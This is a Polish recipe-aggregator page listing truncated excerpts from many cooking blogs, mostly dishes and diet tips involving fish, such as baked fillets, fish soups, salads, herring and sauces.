Puree ziemniaczane to niewątpliwie jeden z lepszych, prostszych i bardzo uniwersalnych dodatków do potraw z mięsa, ryb, jajek i warzyw. Puree ziemniaczane to utłuczone ziemniaki z dodatkiem mleka (lub słodkiej śmietanki, śmietany) i masła. Bardzo kremowe i pyszne. To przepis na świetny dodatek do wielu dań obiadowych, nie tylko mięsnych, rybnych, warzywnych. Może stanowić także ciepły posiłek, do którego(...)małej mocy palnika. Pod koniec smażenia delikatnie ją posól i popieprz, najlepiej świeżo mielonym pieprzem. Cebulkę wraz z aromatycznym olejem dodaj do puree, wymieszaj. Podawaj do mięs, warzyw, ryb, jajka sadzonego. Dodatki do puree: tarty parmezan, gałka muszkatołowa, chili w płatkach, podsmażony, chrupiący boczek, zmiksowany zielony groszek – powstanie kolor zielony puree, karmelizowana cebulka, odrobina chrzanu ze słoiczka. Puree

Zasmakuj Kuchni
Ryba zapiekana z pomidorami 148

Składniki 2 filety z ulubionej ryby, u mnie czarniak 20 dkg pieczarek 1 cebula 4 pomidory 5 dkg sera żółtego sól, pieprz słodka papryka zioła prowansalskie Sposób przygotowania przepisu: Cebulę … Czytaj dalej Ryba zapiekana z pomidorami

czarrna od kuchni
Ryba zapiekana ze szpinakiem i brokułami 82

Składniki 4 kawałki fileta z ulubionej ryby 1 opakowanie mrożonych brokułów 1 opakowanie mrożonego szpinaku 3-4 ząbki czosnku 4 jajka 2 łyżki jogurt 5 dkg sera żółtego sól, pieprz Sposób … Czytaj dalej Ryba zapiekana ze szpinakiem i brokułami

czarrna od kuchni
Batch Cooking! Gotowanie i zdrowe jedzenie 66

upieczenie jednej lub kilku całych dyń, przeciętych na pół. Następnie wyjmij miąższ, aby zrobić z niego puree z gotowanymi ziemniakami i wywarem lub podać jako dodatek do mięs i ryb. Można go również używać do pieczenia ciast i ciasteczek, a to samo dotyczy słodkich ziemniaków. Spróbuj również z bakłażanami przekrojonymi wzdłuż. Można z niego uformować roladki z ratatouille(...)orzechami. Będziesz mieć wszystkie desery i przekąski w swoim tygodniowym menu posortowane. Co więcej: jogurt, w połączeniu z przyprawami i odrobiną oliwy z oliwek, tworzy pyszny sos do mięs, ryb i sałatek. Prawidłowe przechowywanie potraw. Po ugotowaniu wszystkich potraw, trzeba zorganizować ich przechowywanie. Ważne jest, aby poczekać, aż wszystko ostygnie przed przechowywaniem i prawidłowo rozdzielić każde danie do czystych

ProstePesto.pl
Zdrowa dieta. Nasze wskazówki 61

jogurty i sery, najlepiej odtłuszczone. Zalecane są dwie lub trzy porcje dziennie. Produkty pochodzenia zwierzęcego, zarówno mięso, takie jak klasyczny kurczak, indyk, wieprzowina czy wołowina, jak i różne rodzaje ryb. W tym przypadku również zaleca się dwie lub trzy porcje dziennie. Tłuszcze powinny być spożywane z umiarem, chociaż zaleca się spożywanie oliwy na surowo, zwłaszcza oliwy z oliwek extra(...)pochodzenia zwierzęcego zawiera w naszej diecie wielkie korzyści z ręki białka zwierzęcego i witaminy B12. Nasza dieta śródziemnomorska, jeden z doskonałych przykładów zdrowej diety, opiera się głównie na konsumpcji ryb i jaj w celu uzyskania tych składników odżywczych. Dopuszczalne jest jednak również spożywanie mięsa, najlepiej białego, ponieważ zawiera ono mniej tłuszczu. Czerwone mięso powinno być ograniczone do jednej porcji

ProstePesto.pl
Prosta sałatka z kraba prawdziwego. Simple Crab Salad. 64

Dzisiaj proponuję przepis na prawdziwą sałatkę z kraba, a nie z paluszków krabowych tzw. surimi, które mają smakiem i zapachem imitować mięso kraba, a robione są przeważnie z jakiś ryb z dodatkiem aromatów, więc oprócz nazwy, nie mają nic wspólnego z krabami. Mięso kraba jest delikatne i ma słodkawy smak. Jest też mało kaloryczne, gdyż ma małą zawartość tłuszczu(...)się saute podane z sosem przygotowanym na bazie majonezu, może to być czosnkowy sos aioli. W każdą niedzielę rano wybieramy się na Fischmarkt, oprócz owoców egzotycznych i mieszanki wędzonych ryb kupiliśmy na targu tzw. kraby brązowe, które łowione są w Morzu Północnym. Te kilogramowe kraby są tu bardzo tanie, za 2 sztuki ważące ponad 2 kg zapłaciliśmy tylko

Damsko-męskie spojrzenie na kuchnię
Śledzie po królewsku 4063

Razem z moja rodzinką bardzo lubimy śledzie pod każdą postacią, dlatego często staram się przygotowywać jakieś nowe wersje tych ryb. Okres świąt Bożego Narodzenia to najlepszy moment na degustację śledzi, więc głównie w tym czasie pojawiają się na moim blogu przepisy właśnie z tymi rybami w roli głównej. Jednak często robię je nie tylko na święta, ale także

Danka Pichci
Sałatka z pieczonej marchwi z sosem Chamoy 47

Jest jednocześnie słony, słodki, kwaskowy i pikantny. Jego wyjątkowy smak ma wpływ na wszystko z czym się zetknie. Możemy go wykorzystać nie tylko do warzyw, ale również do mięsa, ryb, a nawet owoców. Przepis na sałatkę z marchwi pochodzi z książki SMAK autorstwa Yotama Ottolenghi i Ixty Belfrage. Skład sosu Chamoy z książkowego to morele suszone zamiast marynowanych, sumak(...)mieszamy z ziołami i morelami, skrapiamy resztą oliwy i sokiem z limony. Posypujemy migdałami i podajemy. Marchewkę możemy serwować, jako niezależne wegetariańskie danie, ale również jako dodatek do mięs, ryb, grillowanego sera halloumi lub sadzonego jaja. The post Sałatka z pieczonej marchwi z sosem Chamoy first appeared on Tajemnice smaku

Tajemnice Smaku
Chrupiący karp w panierce z piekarnika 84

Dzisiejszy przepis jest dla tych, którzy uwielbiają ryby w panierce, ale szukają jednak lżejszej wersji. Jest na to prosty sposób, upiecz rybę w piekarniku. Karp opanierowany upieczony w piekarniku smakuje tak samo jak ten smażony z patelni, może jest nawet bardziej chrupiący

Gotuj zdrowo!Guten Appetit!
Ryba w sosie warzywnym 144

Składniki: 4 kostki z dorsza czarnego kawałek papryki 1 opakowanie boczniaków 100 g szpinaku 5 łyżek jogurtu naturalnego przyprawa do ryb sól, pieprz, chili Przygotowanie: Paprykę pokroić w kostkę, boczniaki … Czytaj dalej Ryba w sosie warzywnym

czarrna od kuchni
Dobrze zbilansowana dieta wegetariańska – na co zwrócić uwagę 74

uzależnione jest od zapewnienia odpowiedniej dawki witaminy D, naturalnie dostarczana jest przez ekspozycję na promienie słoneczne. W okresie jesienno-zimowym zalecana jest suplementacja tej witaminy. Selen znajduje się w rybach, mięsach. W mniejszych ilościach znajduje się w produktach zbożowych, pieczarkach, nasionach warzyw strączkowych, czosnku i orzechach. Selen jest niezbędnym składnikiem w zachodzących procesach układu odpornościowego, jego niedobory mogą wywołać(...)większą podatność na infekcje. Większą przyswajalność można osiągnąć przy przyjmowaniu witamin A, C, E. Co powinno znaleźć się w naszym jadłospisie? Przygotowując się do całkowitego wyeliminowania mięsa oraz ryb z diety, warto sięgnąć po książki skupiające się na temacie zdrowej i odpowiednio zbilansowanej diety wegetariańskiej. Pomocne może być też szkolenie z dietetyczką. Jeżeli jednak decydujemy się wprowadzić zmiany

Kulinarnyblog.pl - wiesz jak gotować!
Boże Narodzenie zero waste – zobacz, jak nie zmarnować świątecznych pyszności 80

zawekować lub przyrządzić z nich coś zupełnie nowego. Podziel się jedzeniem, które zostało po świątecznej uczcie Gdy po świątecznej uczcie zostanie spora nadwyżka sałatek, ciast z bitą śmietaną czy ryb w sosach na bazie śmietany, przygotuj z nich paczki dla gości i wręcz im na odchodne. W ten sposób bliscy będą mogli cieszyć się smakiem świąt dłużej(...)Wiele wigilijnych potraw możesz zawekować i przechować w spiżarni nawet do kilku miesięcy. W ten sposób dłużej zachowasz świeżość zup, bigosu, bulionów, a nawet niektórych mięs. Z kolei panierowane ryby smażone możesz przełożyć do słoików, zalać gorącą marynatą octową i zapasteryzować, a w takiej formie przetrwają nawet do pół roku. Nowe potrawy z resztek Wielu pozostałościom po świątecznej uczcie

Kulinarnyblog.pl - wiesz jak gotować!
Kotleciki z wędzonego twarogu i makreli 68

Przepis na kotleciki z wędzonego twarogu z rybą podpatrzyłam u Tomka Jakubiaka. Zaciekawiło mnie to połączenie i po małych modyfikacjach i dostosowaniu przepisu do tego co miałam w lodówce w mojej kuchni pojawiły się genialne w smaku i mocno wędzone kotleciki. Mam nadzieję, że tym razem ja skuszę Was tym przepisem i zachęcę do ich zrobienia. Jeśli lubicie wędzone smaki(...)łyżek mąki pszennej pieprz do podania: kwaśna śmietana, posiekany koperek lub natka pietruszki PRZYGOTOWANIE: W misce rozdrobnij wędzony twaróg, możesz to zrobić widelcem. Do twarogu dorzuć wędzoną rybę oddzieloną od ości i skóry i ponownie rozdrobnij wszystko. Cebulę drobno posiekaj i podsmaż ją na 1 łyżce oleju. Powinna się zeszklić i dopiero zaczynać nabierać koloru. Cebulę dorzuć do miski

nietylkopasta.pl
Przepis na pieprz ziołowy z PRL 120

potrawy z grzybów, jajek na twardo. Jest aromatycznym dodatkiem do zup (zwłaszcza kapuśniaku i grochówki), sosów ziołowych, surówek i sałatek. Świetnie pasuje do świątecznego bigosu, farszu do pierogów i ryb. Jak stosować pieprz ziołowy  W zależności od rodzaju potrawy pieprz ziołowy dodajemy na różnych etapach gotowania, na początku - do wszelkiego rodzaju mięs i ryb, pod koniec gotowania

Cztery Fajery
Surówka z białej rzodkwi i jabłka 65

białej rzodkwi i przekonaj się ile w niej zdrowia i witamin, doskonale sprawdza się także jako zdrowa przekąska. Klasyczna, smaczna surówka obiadowe bez majonezu. Zastanawiasz się jaka surówka do ryby? Surówka z białej rzodkwi i jabłka pasuje do karkówki, sznycla po ministersku czy też sznycla po wiedeńsku i do ryby także. Znakomicie się też sprawdzi na bezmięsny obiad

Dieta moja pasja
Swięteczne inspiracje kulinarne 57

paszteciki, uszka, krokiety. Najczęściej są nadziewane grzybami z kapustą, lub samymi grzybami; - śledzie w rożnej postaci, np. z grzybami, rodzynkami, śliwkami, z cebulą, olejem, w kształcie koreczków lub krojone; - ryby. Choć wśród nich dominuje karp, niemałą popularnością cieszą się również inne gatunki, jak chociażby turbot czy szczupak. Przyrządzane i podawane są ryby w galarecie, faszerowane, pieczone lub smażone

Obiad gotowy
Łosoś z warzywami i pesto dyniowym 60

blenderem, doprawiam solą, pieprzem. Kalafiora dzielę na małe różyczki, przekładam do miski, dodaję kurkumę, zioła prowansalskie, sól, pieprz, chili, olej. Mieszam w marynacie. W naczyniu do zapiekania układam kawałki ryby, frytki z batata, kalafior. Piekarnik nagrzewam do 230 stopni. Wstawiam naczynie, zmniejszam temp na 210 stopni i piekę 15 minut. Rybę, bataty i kalafiora podaję z pesto dyniowym. Posypuję

wesoła kuchnia
Ekspresowe ciasto bananowe z czekoladą - przepis 89

Ciasto bananowe z kawałkami czekolady i polewą czekoladową Ciasto bananowe z czekoladą to przepis z kategorii zero waste. Przygotowanie tego ciasta to sprytny i przy tym

Korniszonki
Soczysta surówka obiadowa 69

wszystkim prosta i bardzo szybka w przygotowaniu surówka. Soczysta i wyrazista w smaku, świetnie sprawdzi się jako dodatek do dań obiadowych i nie tylko. Pasuje praktycznie do wszystkiego, do ryby, mięsa, grilla, jako dodatek do burgerów, hot-dogów i zapiekanek. Ożywia nasz talerz i wspaniale dopełnia smak serwowanych potraw.       Składniki: 0,5 kg kapusty kiszonej

Blog z Apetytem
Wędzarnia ogrodowa i rodzaje wędzenia 65

mięso i wyroby wędliniarskie PRL-u. Obecnie wędzarnie nie są już tak niezbędne, ale mogą się przydać wszystkim amatorom domowej roboty kiełbas, szynek, a nawet wędzonych serów i ryb. Obecnie również można sobie zafundować profesjonalną wędzarnię do ogrodu, której konstrukcja uniemożliwia przypalenia wędzonki, a co w wędzarkach samoróbkach zdarzało się dosyć często. Przebieg procesu wędzenia Do wędzenia potrzebna jest(...)zimno lub na gorąco. Każda z metod pozwala na uzyskanie zróżnicowanych walorów smakowych wędzonek. Co można wędzić? Wędzenie kurczaka tradycyjną metodą Wędzenie sera domowym i tradycyjnym sposobem Domowe wędzenie ryby krok po kroku Domowy boczek wędzony na gorąco krok po kroku Domowe wędzone w dymie kabanosy wieprzowe Aromatyczna domowa szynka wędzona Przepis na 3 wędzone kiełbasy z jednej porcji

ProstePesto.pl
Zapiekanka makaronowa z dorszem 81

świetna opcja dla osób, które lubią urozmaicone potrawy, a jednocześnie niekoniecznie mają czas spędzać długie godziny w kuchni. Możemy przygotować je na wiele sposobów: z kiełbasą, mięsem mielonym, rybą czy warzywami. Taka zapiekanka doskonale sprawdzi się na obiad, ale też na kolację czy drugie śniadanie do pracy - możecie przygotować ją w zasadzie na dowolny posiłek i sprawdzi się równie dobrze(...)greckiego, żółtko, 4 łyżki startego sera, łyżka domowej przyprawy do zup, 4 łyżki oleju rzepakowego, sól i pieprz do smaku. 1. Makaron ugotuj w osolonej wodzie na półtwardo. 2. Rybę umyj, osusz ręcznikiem papierowym i pokrój w dużą kostkę. 3. Cebulę obierz i pokrój w piórka. 4. Na patelni rozgrzej 2 łyżki oleju, zeszklij na nim cebulę, dodaj rybę, dopraw

Z notatnika dietetyka
Dieta na trzustkę – lista produktów dozwolonych oraz zakazanych 76

drobne kasze, •     drobne makarony, •     chude mleko i chude przetwory mleczne, •     chude wędliny, drób, wołowina, cielęcina, •     chude ryby, •     gotowane lub przetarte owoce i warzywa, zwłaszcza: dynia, kabaczek, młoda marchew, seler, pomidory bez skórki, •     biszkopty, sucharki. W diecie na trzustkę można również spożywać(...)wysokiej zawartości błonnika pokarmowego, np. śliwki i gruszki, czereśnie, figi, daktyle, •     tłuste mleko oraz tłuste przetwory mleczne, •     tłuste mięsa, •     tłuste ryby, •     smalec, •     boczek, •     margaryny, •     produkty wędzone, •     orzechy, •     czekoladę, •     tłuste

kruche babeczki
Najlepsza frytkownica beztłuszczowa 63

których w naszym zabieganym świecie trudno się obejść.  Najlepsze frytkownice niskotłuszczowe to urządzenia, w których przygotujesz nie tylko doskonałe chrupiące frytki, ale też upieczesz ciasto, usmażysz steki i ryby, wysuszysz grzyby i zrobisz najlepsze tosty na śniadanie. Na zdjęciu upieczone we frytkownicy Tefal Easy Fry Oven & Grill szybkie i dobre ciasto marchewkowe   Mniej tłuszczu, mniej kalorii(...)oraz piekarnik w jednym. Szeroki zakres temperatur - od 45 do 200 stopni, 60-minutowy programator czasowy oraz 8 automatycznych programów gwarantują, że z łatwością przygotujesz np. frytki, mięso lub ryby czy pyszne ciasto. W tej frytkownicy można również grillować steki lub kiełbaski. A jeśli lubisz suszone owoce i warzywa, to Easy Fry Oven & Gril z powodzeniem zastąpi suszarkę

Cztery Fajery
Ryba z brukselką 132

Składniki: 330 g fileta z ryby (u mnie zębacz smugowy) 1/2 pora (zielona część) 1/2 czerwonej papryki 200 g brukselki sól, pieprz słodka papryka Przygotowanie: Pora i paprykę pokroić, wrzucić … Czytaj dalej Ryba z brukselką

czarrna od kuchni
Sałatka z łososiem wędzonym 72

sałatka na pewno zadowoli niejedno podniebienie. Chrupiąca sałata, pomidorki koktajlowe i grzanki, a dopełnieniem wszystkiego jest łosoś. Sałatka z wędzonym łososiem jaki sos? Najlepszy do łososia jest prosty sos, ryba już sama w sobie jest dominująca w smaku, a więc dip robimy prosty. Do sałatki nie potrzebujemy już żadnych dodatków. Grzanki zastąpią pieczywo przez co sałatka cudownie chrupie i jest(...)sycąca. Jest wiele przepisów na sałatki, ale tych z rybami jest zdecydowanie za mało. Jak zrobić sałatkę z łososiem wędzonym? Zapraszam na przepis 🙂 – Sałatka z łososiem wędzonym przepis kilka liści sałaty średni ogórek 10 pomidorków koktajlowych 100 g łososia wędzonego 100 g żółtego sera bułka pełnoziarnista masło Sos: 2 łyżki soku z cytryny 3 łyżki oliwy lub oleju

Dieta moja pasja
Ryba w sosie porowym 147

Składniki: 400 g fileta z ulubionej ryby (u mnie molwa – dorszowata) 1 średni por po pół zielonej i czerwonej papryki 1 fenkuł 1 mały jogurt naturalny pieprz ziołowy czosnek … Czytaj dalej Ryba w sosie porowym

czarrna od kuchni
Sałatka szopska - Bałkany na talerzu 122

Sałatka szopska nieodparcie kojarzy się z Bałkanami i wakacjami w Bułgarii oraz na południu Chorwacji, w Czarnogórze, Serbii lub Macedonii. Ta pyszna, lekka sałatka to idealny

Korniszonki
Najlepsza zupa rybna z batatami 71

Najlepsza zupa rybna z batatami , moja ulubiona i nie tylko moja ulubiona. Już jakiś czas mieszkamy w portowym mieście, więc teraz mamy regularny dostęp do wszelakich ryb i to wykorzystujemy. Zupa rybna czy smażone ryby przynajmniej raz w tygodniu gości na naszym stole. Ta zupa rybna z dorsza z batatami skrada serce każdego kto ją zje. Jest rewelacyjna

Damsko-męskie spojrzenie na kuchnię
Bogactwo smaków kuchni kalifornijskiej 67

panierowanych i krótko obsmażanych papryk). Fala emigrantów z Azji przywiozła ze sobą chińskie dania z woka i japońskie „sushi”. To ostatnie przeszło mocną ewolucję. Kalifornijczyków nie zachwycało jedzenie surowej ryby, a wodorosty nori odwijali z ryżu. Sprytni japońscy kucharze zaczęli więc robić „uramaki sushi”, w których algi są w środku, a ryż na wierzchu. Zamiast surowych ryb używali

ProstePesto.pl
Tajski sos chili 60

chili      Słodko-pikantny tajski sos z kawałkami papryczki chili, czosnku i limonką podkreśli smak i nada orientalnego charakteru codziennym daniom. doskonale podkreśla smak i aromat mięsa, ryby lub krewetek w klasycznej wersji ten tajski sos chili służy do maczania jedzenia np. sajgonek, rollsów lub azjatyckich pierożków sos może posłużyć jako marynata do owoców morza, ryb, drobiu lub warzyw Tajski sos chili. Tajski sos chili składniki: 1/4 szklanki drobno posiekanej tajskiej papryczki chili 1kg cukru 0,5 litra octu ryżowego 1/4 szklanki drobno posiekanego czosnku 2 łyżeczki soli morskiej 1/2 szklanki octu spirytusowego 1/2 szklanki wody 4 limonki  Tajski sos chili przepis      Przepis na ten ognisty sos jest łatwy i szybki

Moja Książka Kucharska
Fasolka szparagowa z ekstra dodatkiem 319

false MicrosoftInternetExplorer4 Sezon fasolki szparagowej w pełni, więc trzeba korzystać póki trwa. Próbowałem jej w wielu wersjach. Oczywiście, standard smakuje najlepiej. Czasami jednak, warto poeksperymentować. Co, jak co, ale ryby uwielbiam. Tym razem chciałem Wam przedstawić właśnie taką, ekstra wersję, z makrelowym dodatkiem.             Składniki:     800 g żółtej fasolki szparagowej 150 makreli(...)oczyszczamy, końcówki obcinamy i gotujemy we wrzątku z dodatkiem cukru. Osączamy. Olej z makreli wylewamy na głęboką patelnię, rozgrzewamy i szklimy na nim posiekaną cebulę. Następnie dodajemy fasolę i rybę, energicznie mieszamy, lekko przysmażamy. Do smaku doprawiamy solą i pieprzem. Podajemy zaraz po przygotowaniu z posiekaną natką pietruszki.       Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions

R'n'G Kitchen
Limonka. Smak i właściwości zdrowotne. 71

indyjskiej, są składnikiem niektórych marynat, skórka z limonki znajduje zastosowanie w przygotowaniu orientalnych potraw zwłaszcza przepisach kuchni chińskiej, indyjskiej, japońskiej i wietnamskiej. słodkie i wytrawne sałatki, pieczony drób, wieprzowina, ryby podawane są z sokiem z limonki. kwaśno-gorzka limonka podkreśla smak pikantnych potraw. Ciekawostki o limonce Limonka o wadze 100 g. zawiera 30 kcal. Sok z limonki ze szczyptą(...)ściśle strzeżona tajemnica wojskowa. Szkorbut był chorobą marynarzy, dieta z cytrusów dostarczała witaminę C, leczyła infekcje, krwawienie z dziąseł. Limonka zatrzymuje przykre zapachy, może np. pomóc zmyć intensywny zapach ryb z dłoni. Meksykanie używają limonki do stylizacji włosów oraz jako naturalny dezodorant. W Indiach popularnym owocem jest mosambi, czyli słodka limonka – słodka cytryna. Cytrusy są integralną częścią kuchni

ProstePesto.pl
Quiche z bobem i kulkami ziemniaczanymi 67

zrywając papier,formuję boki wysokie z ciasta. Spód ciasta nakłuwam widelcem. Piekarnik nagrzewam do temperatury 200 stopni góra dół i piekę 20 minut aż się zrumieni.     Nadzienie: Rybę kroję na kawałki, posypuję solą, pieprzem. Bób wrzucam do gotującej osolonej wody i gotuję trzy minuty. Odcedzam, przelewam zimną wodą i obieram. Do miski wbijam jajka, dodaję białko,ser czosnkowy(...)koper, natkę,jogurt, sól, pieprz, paprykę ostrą pokrojoną. Wylewam 1/3 masy, układam kawałki ryby,druga część masy, układam bób. Wylewam resztę masy. Na wierzchu układam kulki ziemniaczane. Quiche wstawiam do nagrzanego piekarnika temp 200 stopni, i piekę około 35 minut aż się zetnie. Przed podaniem posypuje natką, papryką i pieprzem czerwonym

wesoła kuchnia
Czerwona porzeczka przepis na konfiturę do mięsa 269

Czerwona porzeczka przepis na konfiturę do mięsa   Czerwona porzeczka przepis na konfiturę do mięs, ryb, serów i wędlin, prawdziwa eksplozja smaków. Pyszny sos porzeczkowy do dań z grilla, wieprzowiny, wołowiny, drobiu, ryb i pasztetów . Warto w sezonie letnim, zamiast sięgać po ciężkie sosy na bazie majonezu, zrobić sos owocowy do grilla czy do mięs. Czerwona porzeczka zaraz

Dieta moja pasja
Zapiekanka makaronowa z rybą 133

Składniki: 150 g ulubionego makaronu 250 g filetów z ulubionej ryby, u mnie dorsz czarniak 1/2 brokuła 200 g kurek 2 jajka 1 kulka mozzarelli light sól, pieprz słodka i … Czytaj dalej Zapiekanka makaronowa z rybą

czarrna od kuchni
Pęczotto z rybą 134

Składniki: 300 g fileta z ulubionej ryby 150 g pęczaku 1 cebula 200 g fasolki 2 ząbki czosnku sól, pieprz słodka i ostra papryka zioła prowansalskie Przygotowanie: Cebulę posiekać i … Czytaj dalej Pęczotto z rybą

czarrna od kuchni
Jedzenie na odmłodzenie 79

znajdziemy ją w olejach roślinnych np. oleju lnianym, orzechach, pestkach, nasionach roślin strączkowych czy pełnoziarnistych produktach zbożowych. Na talerzu młodości rzadziej powinno pojawiać się mięso a częściej gościć ryby, nasiona roślin strączkowych czy jaja. Ryby czy oleje roślinne to doskonałe źródło kwasów omega 3 działających przeciwzapalnie, ale też wpływających pozytywnie na skórę. Warto dodać, że by zachować młodość

Kulinarnyblog.pl - wiesz jak gotować!
Sos tzatziki 73

który króluje na greckich stołach, praktycznie żadna kolacja nie może się obyć bez niego. Pasuje idealnie do dań mięsnych jak i do dań z warzyw. Świetni smakuje ze świeżymi rybami, ale również jako delikatny dodatek do pieczywa. Sama nazwa dania wywodzi się z Turcji. Oficjalnie nazwa pochodzi od tureckiego słowa „cacik” i oznacza „sałatkę jogurtowo(...)Kolejno dodawaj czosnek, koperek oraz łyżkę oliwy z oliwek. Całość zamieszaj delikatnie do połączenia się składników. Podawaj zaraz po przygotowaniu jako dodatek do grilla, dań mięsnych, warzywnych czy też ryb. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sos tzatziki pochodzi z serwisu To musisz wiedzieć

To Musisz Wiedzieć
Surówka z kiszonych ogórków i cebuli przepis nr. 2 86

Surówka do obiad, surówka do grilla, surówka do ryby...   Jaka surówka do obiadu? Co Agnieszka zrobiła jako dodatek do pulpetów? Taka surówka nie musi być tylko dodatkiem do pulpetów. Świetnie nadaje się jako surówka do grilla, lub surówka do ryby. Mamy surówkę na obiad, a raczej dopiero pomysł na surówkę, więc spokojnie możecie obejrzeć przepis na surówkę

Dieta Rozdzielna i Zdrowie
dorsz czarny z jajkiem, szpinakiem na obiad... 74

szpinak, sól, pieprz mielony i smażyć do odparowania soku na dużym ogniu mieszając. Usmażyć na maśle jajka sadzone, posolić do smaku, ugotowane ziemniaki utłuc tłuczkiem z posiekanym koperkiem, na rybę położyć porcję szpinaku, jajko sadzone, porcje ziemniaków i można dodać do dania paprykę, posypać koperkiem - Czarny dorsz filety na bardzo smaczny, sycący obiad, podany ze szpinakiem i jajkiem sadzonym(...)doskonały dodatek do ryby.........SMACZNEGO

W Mojej Kuchni Lubię
Camembert z grilla 75

Dziś coś wegetariańskiego. Po dwóch tygodniach wakacji mam dość mięsa. Niedaleko nas jest facet, który ma swojskie wyroby, ciężko przejechać obok niego obojętnie. Na szczęście ma też ryby, ale nasze zakupy na samych rybach się nie kończą. W ogóle na dzisiejszego grilla kupiliśmy u niego kaszankę, ale chyba jej jednak nie wchłoniemy. Plany wieczornego grilla się trochę zmieniły

Kardamonovy
Dieta ciężarnych – produkty zabronione 64

ciąży Wybierając jakiekolwiek produkty mięsne należy kierować się zasadą, że w ciąży całkowicie zabronione jest spożywanie surowego mięsa. Dotyczy to zarówno wołowiny (tatar, mało wysmażone steki), jak i ryb oraz owoców morza. W surowym mięsie mogą znajdować się liczne bakterie i pierwotniaki, które nie stanowią zagrożenia dla zdrowia i życia dorosłego człowieka, jednak mogą być niezwykle niebezpieczne dla rozwijającego(...)dokładnie sprawdzaj etykiety. W ciąży nie powinnaś spożywać m.in. surowych kiełbas (np. chorizo, kiełbasy bałkańskie), salami i szynek dojrzewających (np. szynka parmeńska) serwowanych na zimno. Zrezygnuj także z ryb wędzonych na zimno. Dobra wiadomość jest taka, że wystarczy krótkie podgrzanie wyrobów mięsnych, by pozbyć się bakterii i pierwotniaków, w tym tych wywołujących niebezpieczną toksoplazmozę. Możesz więc bez problemu pozwolić

ProstePesto.pl
Sałatka izraelska: autentyczny izraelski przepis 68

odpowiednio dobrany, ostry nóż (zwłaszcza przy krojeniu pomidorów). Sałatka izraelska. Orzeźwiająca, bliskowschodnia sałatka z drobno posiekanych warzyw oraz ziół, zwana sałatką izraelską to fantastyczny dodatek do grillowanych mięs i ryb. Jest zdrowa, wegańska i bezglutenowa - idealna na lato! Najlepsza, kiedy jest wykonana ze świeżych, letnich pomidorów. Składniki potrzebne do przygotowania sałatki izraelskiej: 2 bardzo duże pomidory 1 długi ogórek(...)pieprzem i sokiem z cytryny. Gotową sałatkę izraelską podawać jako samodzielne danie z chlebkami pita, hummusem albo sosem tahini. Sałatka może być także pysznym dodatkiem do grillowanych mięs lub ryb. Miłego gotowania! Shawarma z grillowanego kurczaka z sałatką izraelską i sosem tzatziki. Sałatka izraelska

Moja Książka Kucharska
Kanapki z grillowanymi szprotkami 88

dania przygotowanego przeze mnie w ramach projektu Naturalnie Bałtyckie są szproty. Kanapki z grillowanymi szprotkami przygotowałam z dodatkiem zielonej sałaty i kiszonego ogórka. Muszę przyznać, że bardzo lubię przygotowywać ryby na grillu. Są mniej kaloryczne, niż te smażone w głębokim tłuszczu i według mnie mają zdecydowanie lepszy smak. Kanapki z grillowanymi szprotkami Szprot Mała ryba z rodziny śledziowatych

Kulinarne przygody Gatity
Pokarmy, które zwiększają odporność – ułóż swoją dietę online! 80

mniejsze wytwarzanie komórek odpornościowych. Skutkuje to tym, że limfocyty gorzej rozpoznają patogeny. Potrzebne są więc potrawy, które (obok ćwiczeń) wzmacniają układ nerwowy. Antystresową witaminę B6 znajdziesz w drobiu, wątrobie, rybach, soi, pełnoziarnistym pieczywie, jajach, bananach i truskawkach. Witaminy B12 szukaj w mięsie, rybach, mleku, serach, jajach, drożdżach. Łosoś – powalczy z uszkodzonym układem odpornościowym Na układ nerwowy korzystnie wpływają

FoodMagazine.pl - Przepisy kulinarne
Zupa rybna 65

porcja dla 1 osoby   1 ziemniak kawałek marchewki  pół cebuli kawałek selera szczypta suszonych pomidorów w płatkach lub grys 1 filet ryby (dowolna) ok 150 g 2 szkl rosołu lub bulionu warzywnego natka pietruszki, koperek zioła . przyprawy Rosół wlewamy do małego garnka,  dodajemy warzywa i gotujemy do miękkości, następnie dodajemy pokrojoną na mniejsze kawałki rybę

Gotowanie jest łatwe
Pedregalejo (Malaga) - spacer po plaży 82

sezonem w listopadzie, mogłyśmy więc spacerować ciągnącymi się od Malagi pięknymi plażami bez tłumu turystów. Wprawdzie nie wszystkie chiringuitos, czyli drewniane chatki z grillami gdzie smaży się świeżo złowione ryby i owoce morza, były czynne, ale i tak było warto. Po drodze aura zafundowała nm niezwykły spektakl na niebie, ale obyło się bez deszczu. Plaża Peregalejo Pedregalejo (Malaga) - spacer(...)ilość barów, knajpek, kawiarni i restauracji. To tutaj do późnych godzin nocnych tętni życie Pedregalejos.  Będąc na plaży warto spróbować tradycyjnego pescaito, czyli różnych wariacji na temat smażonych ryb i owoców morza. Do kompletu można zamówić tradycyjne tapas. W sezonie koniecznie trzeba zamówić sardynki, które są nabijane na drewniane szpadki i grillowane na drewnie. Do tego sos alioli

Kulinarne przygody Gatity
Zupa rybna ze szparagami 64

lekka, będzie idealna na majowy obiad. Zupa rybna ze szparagami Stornia, czyli flądra Stornia jest niezwykle popularna w menu nad polskim morzem. Zwyczajowo nazywana jest flądrą. Jest to ryba o asymetrycznej budowie ciała. Przez większość czasu spoczywa na dnie morskim, zakopana w mule, leżąc na boku. W tej pozycji również porusza się, co powoduje, że jedno jej oko przemieszcza się(...)pieprzu  ok. 1200 ml bulionu warzywnego  3 średnie ziemniaki 1/2 pęczka zielonych szparagów 2 łyżki gęstej śmietany sok z cytryny sól pieprz koperek do posypania   Wykonanie: Ryby filetujemy.  Mięso dokładamy na bok, a resztę wkładamy do garnka, zalewamy bulionem i gotujemy przez 30 minut. Po tym czasie wywar rybny odcedzamy. Marchewkę, seler, pietruszkę i ziemniaki

Kulinarne przygody Gatity
Surówka z kiszonej kapusty z dymką 69

robiłam tę surówkę, fotografowałam, jadłam i później jej nie publikowałam. Ta ze zdjęcia została zjedzona jakieś półtora tygodnia temu. Tak, dobrze liczycie, to był piątek. Surówka była dodatkiem do ryby i ziemniaków. Nie, nie praktykujemy postów, jakoś tak po prostu wyszło. Nie wiem kto wymyślił takie połączenie, ale to jest połączenie idealne. Nic nie pasuje mi tak do ryby jak tłuczone ziemniaki i surówka z kiszonej kapusty. Nie lubię wydziwiać z tą surówką. Czasami próbowałam coś czarować, ale to było bez sensu. Od dłuższego czasu robię ją cały czas tak samo. Bez kminku, z jabłkiem, marchewką, cukrem, cebulą. Jedyne „dziwactwo” to używanie do niej oleju rzepakowego z pierwszego tłoczenia. Pasuje mi nawet bardziej niż moja ukochana

Kardamonovy
Keto makaron stir-fry (Paleo, LowCarb, AIP) 84

